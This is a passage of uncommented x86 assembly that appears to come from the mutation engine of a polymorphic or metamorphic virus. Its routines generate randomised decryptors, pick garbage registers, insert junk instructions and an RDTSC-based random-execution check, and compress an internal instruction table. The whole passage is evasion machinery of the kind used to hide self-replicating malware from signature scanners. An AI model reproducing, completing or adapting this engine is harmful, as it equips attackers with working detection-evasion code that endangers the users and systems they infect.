[ebp+SizeOfNewCodeP2], eax pop eax mov [ebp+RoundedSizeOfNewCode], eax pop eax mov [ebp+SizeOfNewCode], eax pop eax mov [ebp+TranslatedDeltaRegister], eax pop eax mov [ebp+NewAssembledCode], eax ret MakeDecryptor endp Poly_SetFunctionName proc call Poly_SelectThreeRegisters mov edx, [ebp+Poly_FirstPartOfFunction] mov [ebp+IndexValue], edx mov edx, [ebp+Poly_SecondPartOfFunction] mov [ebp+BufferValue], edx mov edx, [ebp+Poly_ThirdPartOfFunction] mov [ebp+CounterValue], edx call Poly_SetValueToRegisters call Poly_SetPART_ONEtoMemory_GetStartAddress mov ebx, eax call Poly_SetPART_TWOtoMemory_GetStartAddress mov ecx, eax call Poly_SetPART_THREEtoMemory_GetStartAddress mov edx, eax call Poly_RandomCall call Poly_SelectThreeRegisters mov ecx, [ebp+IndexRegister] xor edx, edx call Poly_DoMOVRegValue mov ebx, [ebp+AdditionToBuffer] add ebx, 0Ch mov ecx, [ebp+IndexRegister] call Poly_DoMOVMemReg ret Poly_SetFunctionName endp Poly_InsertLabel proc mov eax, [ebp+LabelTable] mov ecx, [ebp+NumberOfLabels] or ecx, ecx jz @@InsertLabel @@LoopFindLabel: cmp [eax], edi jz @@LabelInserted add eax, 8 sub ecx, 1 or ecx, ecx jnz @@LoopFindLabel @@InsertLabel: mov [eax], edi mov [eax+4], edi mov ecx, [ebp+NumberOfLabels] add ecx, 1 mov [ebp+NumberOfLabels], ecx @@LabelInserted: ret Poly_InsertLabel endp Poly_ModifyCounter proc call Random and eax, 3 add eax, 4 mov edx, eax mov ecx, [ebp+CounterRegister] call Poly_DoADDRegValue ret Poly_ModifyCounter endp Poly_MaskIndex proc mov ecx, [ebp+IndexRegister] mov esi, 1 jmp Poly_MaskRegister Poly_MaskIndex endp Poly_ModifyIndex proc mov edx, [ebp+Poly_Addition] mov ecx, [ebp+IndexRegister] call Poly_DoADDRegValue ret Poly_ModifyIndex endp Poly_MaskRegister proc mov eax, 20h mov [edi], eax mov [edi+1], ecx call Random mov ebx, [ebp+SizeOfNewCodeP2] mov ecx, ebx not ebx and eax, ebx sub ecx, esi or eax, ecx neg esi and eax, esi mov [edi+7], eax add edi, 10h ret Poly_MaskRegister endp Poly_MaskCounter proc mov ecx, [ebp+CounterRegister] mov esi, 4 jmp Poly_MaskRegister Poly_MaskCounter endp Poly_SelectThreeRegisters proc mov eax, 8 mov [ebp+IndexRegister], eax mov [ebp+BufferRegister], eax mov [ebp+CounterRegister], eax call Poly_GetAGarbageRegister mov [ebp+IndexRegister], eax call Poly_GetAGarbageRegister mov [ebp+BufferRegister], eax call Poly_GetAGarbageRegister mov [ebp+CounterRegister], eax ret Poly_SelectThreeRegisters endp Poly_SetValueToRegisters proc call Poly_SetIndexValue_GetStartAddress mov ebx, eax call Poly_SetBufferValue_GetStartAddress mov ecx, eax call Poly_SetCounterValue_GetStartAddress mov edx, eax call Poly_RandomCall ret Poly_SetValueToRegisters endp Poly_SetIndexValue_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetIndexValue proc mov ecx, [ebp+IndexRegister] mov edx, [ebp+IndexValue] call Poly_DoMOVRegValue ret Poly_SetIndexValue endp Poly_SetBufferValue_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetBufferValue proc mov ecx, [ebp+BufferRegister] mov edx, [ebp+BufferValue] call Poly_DoMOVRegValue ret Poly_SetBufferValue endp Poly_SetCounterValue_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetCounterValue proc mov ecx, [ebp+CounterRegister] mov edx, [ebp+CounterValue] call Poly_DoMOVRegValue ret Poly_SetCounterValue endp Poly_RandomCall_GetAddress proc pop eax ret Poly_RandomCall_GetAddress endp Poly_SetPART_ONEtoMemory_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetPART_ONEtoMemory proc mov ecx, [ebp+IndexRegister] mov ebx, [ebp+AdditionToBuffer] call Poly_DoMOVMemReg ret Poly_SetPART_ONEtoMemory endp Poly_SetPART_TWOtoMemory_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetPART_TWOtoMemory proc mov ecx, [ebp+BufferRegister] mov ebx, [ebp+AdditionToBuffer] add ebx, 4 call Poly_DoMOVMemReg ret Poly_SetPART_TWOtoMemory endp Poly_SetPART_THREEtoMemory_GetStartAddress: call Poly_RandomCall_GetAddress Poly_SetPART_THREEtoMemory proc mov ecx, [ebp+CounterRegister] mov ebx, [ebp+AdditionToBuffer] add ebx, 8 call Poly_DoMOVMemReg ret Poly_SetPART_THREEtoMemory endp Poly_RandomCall proc mov esi, 5 @@Again: call Xp_GarbleRegisters sub esi, 1 or esi, esi jnz @@Again or ebx, ebx jz @@DontPush1st push ebx @@DontPush1st: or ecx, ecx jz @@DontPush2nd push ecx @@DontPush2nd: or edx, edx jz @@DontPush3rd push edx @@DontPush3rd: ret Poly_RandomCall endp Poly_DoADDRegValue proc mov eax, 3 call Random and eax, 1 jz @@Direct mov eax, 40h mov [edi], eax call Poly_GetAGarbageRegister mov [edi+1], eax mov ebx, eax mov [edi+7], edx add edi, 10h mov eax, 01h mov [edi], eax mov [edi+1], ebx mov [edi+7], ecx add edi, 10h ret @@Direct: xor eax, eax mov [edi], eax mov [edi+1], ecx mov [edi+7], edx add edi, 10h ret Poly_DoADDRegValue endp Poly_DoMOVRegValue proc mov eax, 2 call Random and eax, 1 jz @@Direct call Poly_GetAGarbageRegister push ecx mov ecx, eax call @@Direct mov eax, 41h mov [edi], eax mov [edi+1], ecx pop ecx mov [edi+7], ecx add edi, 10h ret @@Direct: mov eax, 40h mov [edi], eax mov [edi+1], ecx mov [edi+7], edx add edi, 10h ret Poly_DoMOVRegValue endp Poly_DoXORRegReg proc mov eax, 3 call Random and eax, 1 jz @@Single call Poly_GetAGarbageRegister mov esi, eax mov eax, 41h mov [edi], eax mov [edi+1], edx mov [edi+7], esi add edi, 10h mov edx, esi @@Single: mov eax, 31h mov [edi], eax mov [edi+1], edx mov [edi+7], ecx add edi, 10h ret Poly_DoXORRegReg endp Poly_DoPUSHValue proc mov eax, 2 call Random and eax, 3 or eax, eax jz @@Direct mov eax, 40h mov [edi], eax call Poly_GetAGarbageRegister mov [edi+1], eax mov [edi+7], edx add edi, 10h mov ecx, eax call Poly_DoPUSHReg ret @@Direct: mov eax, 68h mov [edi], eax mov [edi+7], edx add edi, 10h ret Poly_DoPUSHValue endp Poly_DoPUSHReg proc mov eax, 50h mov [edi], eax mov [edi+1], ecx add edi, 10h ret Poly_DoPUSHReg endp Poly_DoPOPReg proc mov eax, 58h mov [edi], eax mov [edi+1], ecx add edi, 10h ret Poly_DoPOPReg endp Poly_DoMOVMemReg proc xor eax, eax call Random and eax, 1 jz @@Direct mov eax, 41h mov [edi], eax mov [edi+1], ecx call Poly_GetAGarbageRegister mov ecx, eax mov [edi+7], eax add edi, 10h @@Direct: mov eax, 43h mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, ebx add eax, [ebp+Decryptor_DATA_SECTION] mov [edi+3], eax mov [edi+7], ecx add edi, 10h ret Poly_DoMOVMemReg endp Poly_DoMOVRegMem proc mov eax, 1 call Random and eax, 1 jz @@Direct push ecx call Poly_GetAGarbageRegister mov ecx, eax call @@Direct mov eax, 41h mov [edi], eax mov [edi+1], ecx pop ecx mov [edi+7], ecx add edi, 10h ret @@Direct: mov eax, 42h mov [edi], eax mov eax, 0808h mov [edi+1], eax mov eax, ebx add eax, [ebp+Decryptor_DATA_SECTION] mov [edi+3], eax mov [edi+7], ecx add edi, 10h ret Poly_DoMOVRegMem endp Poly_MakeCheckWith0 proc xor eax, eax call Random and eax, 1 jnz @@Single mov eax, 40h mov [edi], eax call Poly_GetAGarbageRegister mov [edi+1], eax xor ebx, ebx mov [edi+7], ebx add edi, 10h mov ebx, 39h mov [edi], ebx mov [edi+1], eax mov [edi+7], ecx add edi, 10h ret @@Single: mov eax, 38h mov [edi], eax mov [edi+1], ecx xor eax, eax mov [edi+7], eax add edi, 10h ret Poly_MakeCheckWith0 endp Poly_GetAGarbageRegister proc @@Again: call Random and eax, 7 cmp eax, [ebp+IndexRegister] jz @@Again cmp eax, [ebp+CounterRegister] jz @@Again cmp eax, [ebp+BufferRegister] jz @@Again cmp eax, 4 jz @@Again ret Poly_GetAGarbageRegister endp Poly_GetGarbageOneByter proc call Random and eax, 7 add eax, 0F8h cmp eax, 0FAh jz @@ReturnCMC cmp eax, 0FDh jz @@ReturnNOP cmp eax, 0FEh jb @@Return @@ReturnNOP: mov eax, 90h @@Return: ret @@ReturnCMC: mov eax, 0F5h ret Poly_GetGarbageOneByter endp Poly_MakeRandomExecution proc call Random and eax, 3 jnz @@Normal call Poly_SelectThreeRegisters mov ecx, [ebp+IndexRegister] mov edx, [ebp+Decryptor_DATA_SECTION] call Random and eax, 1Ch add edx, eax cmp eax, 1Ch jz @@DontAddMore call Random and eax, 3 add edx, eax @@DontAddMore: call Poly_DoMOVRegValue call Random push eax mov edx, eax mov ecx, [ebp+BufferRegister] call Poly_DoMOVRegValue @@RDTSC_Option0: mov eax, 3 call Random and eax, 1 jz @@RDTSC_Option2 xor eax, eax call Random and eax, 1 jz @@RDTSC_Option3 @@RDTSC_Option1: call Random and eax, 0FF000000h add eax, 000C3310Fh jmp @@RDTSC_SetInstruction @@RDTSC_Option2: call Poly_GetGarbageOneByter add eax, 0C3310F00h jmp @@RDTSC_SetInstruction @@RDTSC_Option3: call Poly_GetGarbageOneByter shl eax, 10h add eax, 0C300310Fh @@RDTSC_SetInstruction: mov edx, eax pop eax sub edx, eax mov ecx, [ebp+BufferRegister] call Poly_DoADDRegValue mov eax, 43h mov [edi], eax mov eax, 0800h add eax, [ebp+IndexRegister] mov [edi+1], eax xor eax, eax mov [edi+3], eax mov eax, [ebp+BufferRegister] mov [edi+7], eax add edi, 10h mov eax, 0ECh mov [edi], eax mov eax, [ebp+IndexRegister] mov [edi+1], eax add edi, 10h xor eax, eax mov [ebp+IndexRegister], eax mov eax, 8 mov [ebp+BufferRegister], eax mov [ebp+CounterRegister], eax mov eax, 1 call Random and eax, 1 jz @@DirectTEST @@ANDandCheck: mov eax, 20h mov [edi], eax xor eax, eax call Xpand_ReverseTranslation mov [edi+1], eax call @@GetARandomPowerOf2 mov [edi+7], edx add edi, 10h xor eax, eax call Xpand_ReverseTranslation mov ecx, eax call Poly_MakeCheckWith0 @@SetTheJump: mov eax, 2 call Random and eax, 1 add eax, 74h mov [edi], eax mov [ebp+Poly_JumpRandomExecution], edi add edi, 10h ret @@DirectTEST: mov eax, 48h mov [edi], eax xor eax, eax call Xpand_ReverseTranslation mov [edi+1], eax call @@GetARandomPowerOf2 mov [edi+7], edx add edi, 10h jmp @@SetTheJump @@Normal: xor eax, eax mov [ebp+Poly_JumpRandomExecution], eax ret @@GetARandomPowerOf2: call Random and eax, 1Fh mov edx, 1 @@LoopRotate: or eax, eax jz @@RotateFinish shl edx, 1 sub eax, 1 jmp @@LoopRotate @@RotateFinish: ret Poly_MakeRandomExecution endp Poly_DoCALLMem proc mov eax, 1 call Random and eax, 1 jz @@Single mov eax, 40h mov [edi], eax call Poly_GetAGarbageRegister mov ebx, eax mov [edi+1], eax mov [edi+7], ecx add edi, 10h mov eax, 0EAh mov [edi], eax mov eax, 0800h add eax, ebx mov [edi+1], eax xor eax, eax mov [edi+3], eax add edi, 10h ret @@Single: mov eax, 0EAh mov [edi], eax mov eax, 0808h mov [edi+1], eax mov [edi+3], ecx add edi, 10h ret Poly_DoCALLMem endp ;--------------------------------------------------------------------------------------- ShrinkCode proc mov edi, [ebp+InstructionTable] mov eax, [edi] and eax, 0FFh call CheckIfInstructionUsesMem or eax, eax jz @@Shrink call OrderRegs @@Shrink: mov eax, [edi] and eax, 0FFh cmp eax, 0FFh jz @@IncreaseEIP call ShrinkThisInstructions or eax, eax jz @@IncreaseEIP call DecreaseEIP call DecreaseEIP call DecreaseEIP jmp @@Shrink @@IncreaseEIP: call IncreaseEIP cmp edi, [ebp+AddressOfLastInstruction] jnz @@Shrink @@DecreaseAddressOfLastInstruction: sub edi, 10h mov eax, [edi] and eax, 0FFh cmp eax, 0FFh jnz @@LastInstructionOK mov [ebp+AddressOfLastInstruction], edi jmp @@DecreaseAddressOfLastInstruction @@LastInstructionOK: mov edi, [ebp+InstructionTable] @@FindAPICALL_X: @@GetFirstInstruction: call IncreaseEIP2 cmp eax, -1 jz @@EndOfScan mov eax, [edi] and eax, 0FFh cmp eax, 50h jnz @@ItsNot_SET_WEIGHT push edi mov esi, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 40h jnz @@ItsNot_SET_WEIGHT_2 mov edx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 40h jnz @@ItsNot_SET_WEIGHT_2 mov ecx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 43h jnz @@ItsNot_SET_WEIGHT_2 mov ebx, edi call IncreaseEIP2 or eax, eax jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi] and eax, 0FFh cmp eax, 58h jnz @@ItsNot_SET_WEIGHT_2 mov eax, [esi+1] and eax, 0FFh mov esi, eax mov eax, [edx+1] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 mov eax, [edi+1] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 mov esi, [ecx+1] and esi, 0FFh mov eax, [ebx+7] and eax, 0FFh cmp eax, esi jnz @@ItsNot_SET_WEIGHT_2 pop esi mov eax, 0F7h mov [esi], al mov eax, [esi+1] mov [esi+9], al mov eax, [ebx+1] mov [esi+1], eax mov eax, [ebx+3] mov [esi+3], eax mov eax, [edx+7] mov [esi+7], al mov eax, [ecx+1] mov [esi+8], al mov eax, 0FFh mov [edx], eax mov [ecx], eax mov [ebx], eax mov [edi], eax jmp @@AllOK @@ItsNot_SET_WEIGHT_2: pop edi @@ItsNot_SET_WEIGHT: @@AllOK: @@CheckAPICALL_X: mov edx, edi push edi @@GetSecondInstruction: call IncreaseEIP2 cmp eax, -1 jz @@EndOfScan or eax, eax jnz @@EndOfTriplet mov esi, edi @@GetThirdInstruction: call IncreaseEIP2 cmp eax, -1 jz @@EndOfScan or eax, eax jnz @@EndOfTriplet mov eax, [edx] and eax, 0FFh cmp eax, 50h jnz @@FindAPICALL_END mov eax, [esi] and eax, 0FFh cmp eax, 50h jnz @@FindAPICALL_END mov eax, [edi] and eax, 0FFh cmp eax, 50h jnz @@FindAPICALL_END mov eax, [edx+1] and eax, 0FFh or eax, eax jnz @@FindAPICALL_END mov eax, [esi+1] and eax, 0FFh cmp eax, 1 jnz @@FindAPICALL_END mov eax, [edi+1] and eax, 0FFh cmp eax, 2 jnz @@FindAPICALL_END mov eax, 0F4h @@SetAPICALL_X: mov [edx], eax mov eax, 0FFh mov [esi], eax mov [edi], eax jmp @@EndOfTriplet @@FindAPICALL_END: mov eax, [edx] and eax, 0FFh cmp eax, 58h jnz @@EndOfTriplet mov eax, [esi] and eax, 0FFh cmp eax, 58h jnz @@EndOfTriplet mov eax, [edi] and eax, 0FFh cmp eax, 58h jnz @@EndOfTriplet mov eax, [edx+1] and eax, 0FFh cmp eax, 2 jnz @@EndOfTriplet mov eax, [esi+1] and eax, 0FFh cmp eax, 1 jnz @@EndOfTriplet mov eax, [edi+1] and eax, 0FFh or eax, eax jnz @@EndOfTriplet mov eax, 0F5h jmp @@SetAPICALL_X @@EndOfTriplet: pop edi jmp @@FindAPICALL_X @@EndOfScan: pop edi ret ShrinkCode endp DecreaseEIP proc @@Again: cmp edi, [ebp+InstructionTable] jz @@OK mov eax, [edi+0Bh] and eax, 0FFh or eax, eax jnz @@OK sub edi, 10h mov eax, [edi] and eax, 0FFh cmp eax, 0FFh jz @@Again @@OK: ret DecreaseEIP endp IncreaseEIP proc mov ecx, [ebp+AddressOfLastInstruction] cmp edi, ecx jz @@_End @@Again: add edi, 10h cmp edi, ecx jz @@_End mov eax, [edi+0Bh] and eax, 0FFh or eax, eax jnz @@End mov eax, [edi] and eax, 0FFh cmp eax, 0FFh jz @@Again @@End: mov eax, [edi] and eax, 0FFh call CheckIfInstructionUsesMem or eax, eax jz @@_End call OrderRegs mov eax, [edi] and eax, 0FFh cmp eax, 4Fh jnz @@_End push edi mov edi, [edi+7] call OrderRegs pop edi @@_End: ret IncreaseEIP endp IncreaseEIP2 proc cmp edi, [ebp+AddressOfLastInstruction] jz @@EndOfScan add edi, 10h cmp edi, [ebp+AddressOfLastInstruction] jz @@EndOfScan mov eax, [edi] and eax, 0FFh cmp eax, 0FFh jz IncreaseEIP2 mov eax, [edi+0Bh] and eax, 0FFh ret @@EndOfScan: mov eax, -1 ret IncreaseEIP2 endp ShrinkThisInstructions proc push edi @@Check_Single: mov eax, [edi] and eax, 0FFh cmp eax, 30h jnz @@Single_Next00 mov ecx, 0E0h @@Single_Next_CommonXOR_s1: mov eax, [edi+7] @@Single_Next_CommonXOR_s1_2: cmp eax, -1 jz @@Single_SetInstructionECX @@Single_Next_CheckNulOP: or eax, eax jnz @@Single_End jmp @@Single_SetNOP @@Single_SetInstructionECX: mov eax, ecx jmp @@Single_SetInstruction @@Single_Next00: cmp eax, 34h jnz @@Single_Next00_ mov ecx, 0E1h jmp @@Single_Next_CommonXOR_s1 @@Single_Next00_: cmp eax, 4Bh jnz @@Single_Next00__ mov eax, 4Ah jmp @@Single_SetInstruction @@Single_Next00__: cmp eax, 4Bh+80h jnz @@Single_Next01 mov eax, 4Ah+80h jmp @@Single_SetInstruction @@Single_Next01: cmp eax, 30h+80h jnz @@Single_Next02 mov ecx, 0E2h @@Single_Next01_GetSigned: mov eax, [edi+7] and eax, 0FFh cmp eax, 80h jb @@Single_Next01_NotSigned add eax, 0FFFFFF00h @@Single_Next01_NotSigned: jmp @@Single_Next_CommonXOR_s1_2 @@Single_Next02: cmp eax, 34h+80h jnz @@Single_Next03 mov ecx, 0E3h jmp @@Single_Next01_GetSigned @@Single_Next03: cmp eax, 41h jnz @@Single_Next04 @@Single_Next_CommonMOV: mov eax, [edi+1] mov ecx, [edi+7] and eax, 0FFh and ecx, 0FFh cmp eax, ecx jnz @@Single_End @@Single_SetNOP: mov eax, 0FFh @@Single_SetInstruction: mov ecx, [edi] and ecx, 0FFFFFF00h and eax, 0FFh add eax, ecx mov [edi], eax jmp @@EndCompressed @@Single_Next04: cmp eax, 41h+80h jz @@Single_Next_CommonMOV @@Single_Next05: cmp eax, 28h jnz @@Single_Next06 xor ecx, ecx @@Single_Next_NegateImm: mov eax, [edi+7] neg eax mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next06: cmp eax, 28h+80h jnz @@Single_Next07 mov ecx, 00h+80h jmp @@Single_Next_NegateImm @@Single_Next07: cmp eax, 2Ch jnz @@Single_Next08 mov ecx, 04h jmp @@Single_Next_NegateImm @@Single_Next08: cmp eax, 2Ch+80h jnz @@Single_Next09 mov ecx, 04h+80h jmp @@Single_Next_NegateImm @@Single_Next09: or eax, eax jnz @@Single_Next10 @@Single_Next_CheckNulOP_2: mov eax, [edi+7] jmp @@Single_Next_CheckNulOP @@Single_Next10: cmp eax, 4 jz @@Single_Next_CheckNulOP_2 cmp eax, 04h+80h jz @@Single_Next_CheckNulOP_2_8b cmp eax, 0Ch jz @@Single_Next_CheckNulOP_2 cmp eax, 0Ch+80h jz @@Single_Next_CheckNulOP_2_8b cmp eax, 24h+80h jz @@Single_Next10_Check_s1_8b cmp eax, 24h jnz @@Single_Next10_ @@Single_Next10_Check_s1: mov eax, [edi+7] cmp eax, -1 jz @@Single_SetNOP or eax, eax jnz @@Single_End mov eax, 44h jmp @@Single_SetInstruction @@Single_Next10_Check_s1_8b: mov eax, [edi+7] and eax, 0FFh cmp eax, 0FFh jz @@Single_SetNOP or eax, eax jnz @@Single_End mov eax, 44h+80h jmp @@Single_SetInstruction @@Single_Next10_: cmp eax, 00h+80h jnz @@Single_Next11 @@Single_Next_CheckNulOP_2_8b: mov eax, [edi+7] and eax, 0FFh jmp @@Single_Next_CheckNulOP @@Single_Next11: cmp eax, 08h jz @@Single_Next_CheckNulOP_2 @@Single_Next12: cmp eax, 08h+80h jz @@Single_Next_CheckNulOP_2_8b @@Single_Next13: cmp eax, 20h jnz @@Single_Next14 mov eax, [edi+7] cmp eax, -1 jz @@Single_SetNOP or eax, eax jnz @@Single_End mov eax, 40h jmp @@Single_SetInstruction @@Single_Next14: cmp eax, 20h+80h jnz @@Single_Next15 mov eax, [edi+7] and eax, 0FFh cmp eax, 0FFh jz @@Single_SetNOP or eax, eax jnz @@Single_End mov eax, 40h+80h jmp @@Single_SetInstruction @@Single_Next15: cmp eax, 31h jnz @@Single_Next16 @@Single_Next_CheckSetTo0: mov ecx, 40h @@Single_Next_CheckSetTo0_2: mov eax, [edi+1] mov ebx, [edi+7] and eax, 0FFh and ebx, 0FFh cmp eax, ebx jnz @@Single_End xor eax, eax mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next16: cmp eax, 31h+80h jnz @@Single_Next17 @@Single_Next_CheckSetTo0_8b: mov ecx, 40h+80h jmp @@Single_Next_CheckSetTo0_2 @@Single_Next17: cmp eax, 29h jz @@Single_Next_CheckSetTo0 @@Single_Next18: cmp eax, 29h+80h jz @@Single_Next_CheckSetTo0_8b @@Single_Next19: cmp eax, 09h jnz @@Single_Next20 @@Single_Next_CheckCheckIf0: mov ecx, 38h jmp @@Single_Next_CheckSetTo0_2 @@Single_Next20: cmp eax, 09h+80h jnz @@Single_Next21 @@Single_Next_CheckCheckIf0_8b: mov ecx, 38h+80h jmp @@Single_Next_CheckSetTo0_2 @@Single_Next21: cmp eax, 21h jz @@Single_Next_CheckCheckIf0 @@Single_Next22: cmp eax, 21h+80h jz @@Single_Next_CheckCheckIf0_8b @@Single_Next23: cmp eax, 49h jz @@Single_Next_CheckCheckIf0 @@Single_Next24: cmp eax, 49h+80h jz @@Single_Next_CheckCheckIf0_8b @@Single_Next25: cmp eax, 0FCh jnz @@Single_Next26 mov eax, [edi+2] and eax, 0FFh cmp eax, 40h jae @@Single_Next26 mov eax, [edi+1] and eax, 0FFh cmp eax, 8 jz @@Single_Next_LEA_CheckMOV mov ecx, [edi+7] and ecx, 0FFh cmp eax, ecx jz @@Single_Next_LEA_CheckADD mov eax, [edi+2] and eax, 0FFh cmp eax, 8 jz @@Single_Next_LEA_CheckMOVRegReg cmp eax, ecx jz @@Single_Next_LEA_CheckADDRegReg2 mov ecx, [edi+1] and ecx, 0FFh cmp eax, ecx jnz @@Single_End mov eax, 8 mov ecx, [edi+1] and ecx, 0FFFFFF00h add eax, ecx mov [edi+1], eax mov eax, [edi+2] add eax, 40h mov [edi+2], eax jmp @@EndCompressed @@Single_Next_LEA_CheckADDRegReg2: mov eax, [edi+3] or eax, eax jz @@Single_Next_LEA_SetADDRegReg_2 jmp @@Single_End @@Single_Next_LEA_CheckMOV: mov eax, [edi+2] and eax, 0FFh cmp eax, 8 jz @@Single_Next_LEA_SetMOV mov ecx, [edi+7] and ecx, 0FFh cmp eax, ecx jz @@Single_Next_LEA_SetADD_2 mov eax, [edi+3] or eax, eax jnz @@Single_End @@Single_Next_LEA_SetMOVRegReg_2: mov eax, [edi+2] mov ecx, [edi+1] and ecx, 0FFFFFF00h and eax, 0FFh add eax, ecx mov [edi+1], eax mov eax, 41h jmp @@Single_SetInstruction @@Single_Next_LEA_SetADD_2: mov ecx, [edi+1] and ecx, 0FFFFFF00h and eax, 0FFh add eax, ecx mov [edi+1], eax mov eax, [edi+3] mov [edi+7], eax xor eax, eax jmp @@Single_SetInstruction @@Single_Next_LEA_SetMOV: mov ecx, 40h mov eax, [edi+7] and eax, 0FFh mov ebx, [edi+1] and ebx, 0FFFFFF00h add eax, ebx mov [edi+1], eax @@Single_Next_LEA_SetInstructionECX: mov eax, [edi+3] mov [edi+7], eax jmp @@Single_SetInstructionECX @@Single_Next_LEA_CheckADD: mov eax, [edi+2] and eax, 0FFh cmp eax, 8 jz @@Single_Next_LEA_SetADD mov eax, [edi+3] or eax, eax jnz @@Single_End @@Single_Next_LEA_SetADDRegReg: mov eax, [edi+2] mov ebx, [edi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [edi+1], eax @@Single_Next_LEA_SetADDRegReg_2: mov eax, 01h jmp @@Single_SetInstruction @@Single_Next_LEA_SetADD: mov eax, [edi+3] mov [edi+7], eax xor eax, eax jmp @@Single_SetInstruction @@Single_Next_LEA_CheckMOVRegReg: mov eax, [edi+3] or eax, eax jnz @@Single_End @@Single_Next_LEA_SetMOVRegReg: mov eax, 41h jmp @@Single_SetInstruction @@Single_Next26: cmp eax, 4Fh jnz @@Single_Next27 mov esi, [edi+7] mov eax, [edi+1] cmp eax, [esi+1] jnz @@Single_End mov eax, [edi+3] cmp eax, [esi+3] jz @@Single_SetNOP @@Single_Next27: cmp eax, 38h jb @@Single_Next28 cmp eax, 3Ch ja @@Single_Next28 @@Single_Next27_Common: mov edx, edi @@Single_Next27_GetNextInstr: add edx, 10h mov eax, [edx+0Bh] and eax, 0FFh or eax, eax jnz @@Single_SetNOP mov eax, [edx] and eax, 0FFh cmp eax, 0FFh jz @@Single_Next27_GetNextInstr cmp eax, 70h jb @@Single_SetNOP cmp eax, 7Fh ja @@Single_SetNOP jmp @@Single_End @@Single_Next28: cmp eax, 38h+80h jb @@Single_Next29 cmp eax, 3Ch+80h jbe @@Single_Next27_Common @@Single_Next29: cmp eax, 48h jb @@Single_Next30 cmp eax, 4Ch jbe @@Single_Next27_Common @@Single_Next30: cmp eax, 48h+80h jb @@Single_Next31 cmp eax, 4Ch+80h jbe @@Single_Next27_Common @@Single_Next31: @@Single_End: mov eax, [edi] and eax, 0FFh cmp eax, 80h+00 jb @@Check_Double cmp eax, 80h+4Ch ja @@Check_Double and eax, 7 or eax, eax jz @@GetFrom_RegImm cmp eax, 1 jz @@GetFrom_RegReg cmp eax, 2 jz @@GetFrom_RegMem cmp eax, 3 jnz @@Check_Double @@GetFrom_MemReg: @@GetFrom_RegMem: @@GetFrom_RegReg: mov eax, [edi+7] and eax, 0FFh jmp @@GetFrom_OK @@GetFrom_RegImm: mov eax, [edi+1] and eax, 0FFh @@GetFrom_OK: mov [ebp+Register8Bits], eax @@Check_Double: mov esi, edi call IncreaseEIP cmp edi, [ebp+AddressOfLastInstruction] jz @@EndNoCompressed mov eax, [edi+0Bh] and eax, 0FFh or eax, eax jnz @@EndNoCompressed mov eax, [esi] and eax, 0FFh cmp eax, 68h jnz @@Double_Next00 mov eax, [edi] and eax, 0FFh cmp eax, 58h jz @@Double_Next_PutMOVRegImm cmp eax, 59h jnz @@EndNoCompressed @@Double_Next_PutMOVMemImm: mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 44h jmp @@Double_Next_SetInstruction @@Double_Next_PutMOVRegImm: mov eax, [edi+1] mov [esi+1], eax mov eax, 40h @@Double_Next_SetInstruction: mov ebx, [esi] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi], eax @@Double_Next_SetNOP: mov eax, 0FFh mov [edi], al jmp @@EndCompressed @@Double_Next00: cmp eax, 50h jnz @@Double_Next01 mov eax, [edi] and eax, 0FFh cmp eax, 58h jz @@Double_Next_PushPop cmp eax, 0FEh jz @@Double_Next00_JMPReg cmp eax, 59h jnz @@Double_End mov eax, [esi+1] mov ebx, [esi+7] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+7], eax mov eax, [edi+1] mov [esi+1], eax mov eax, [edi+3] mov [esi+3], eax mov eax, 43h jmp @@Double_Next_SetInstruction @@Double_Next_PushPop: mov eax, [edi+1] mov [esi+7], eax mov eax, 41h jmp @@Double_Next_SetInstruction @@Double_Next00_JMPReg: mov eax, 0EDh jmp @@Double_Next_SetInstruction @@Double_Next01: cmp eax, 51h jnz @@Double_Next02 mov eax, [edi] and eax, 0FFh cmp eax, 58h jz @@Double_Next01_PushPop cmp eax, 59h jnz @@Double_End @@Double_Next01_MOVMemMem: mov [esi+7], edi mov [edi+7], esi mov eax, 4Fh jmp @@Double_Next_SetInstruction @@Double_Next01_PushPop: mov eax, [edi+1] mov ebx, [edi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+7], eax mov eax, 42h jmp @@Double_Next_SetInstruction @@Double_Next02: mov eax, [esi+1] cmp eax, [edi+1] jnz @@Double_Next_NoMem mov eax, [esi+3] cmp eax, [edi+3] jnz @@Double_Next_NoMem mov eax, [esi] and eax, 0FFh cmp eax, 0F6h jz @@Double_Next02_Check cmp eax, 43h jnz @@Double_Next03 @@Double_Next02_Check: mov eax, [edi] and eax, 0FFh cmp eax, 51h jz @@Double_Next02_PushReg cmp eax, 4Ch jbe @@Double_Next_OPRegReg cmp eax, 0EAh jz @@Double_Next02_CALLMem cmp eax, 0EBh jnz @@Double_End @@Double_Next02_JMPMem: mov eax, 0EDh @@Double_Next02_XXXMem: push eax mov eax, [esi+7] mov ebx, [esi+1] and ebx, 0FFFFFF00h and eax, 0FFh add eax, ebx mov [esi+1], eax pop eax jmp @@Double_Next_SetInstruction @@Double_Next02_CALLMem: mov eax, 0ECh jmp @@Double_Next02_XXXMem @@Double_Next_OPRegReg: and eax, 7Fh cmp eax, 3Bh jz @@Double_Next02_MergeCheck cmp eax, 4Bh jz @@Double_Next02_MergeCheck cmp eax, 4Ah jz @@Double_Next02_MergeCheck and eax, 7 cmp eax, 2 jnz @@Double_End mov eax, [esi+7] mov 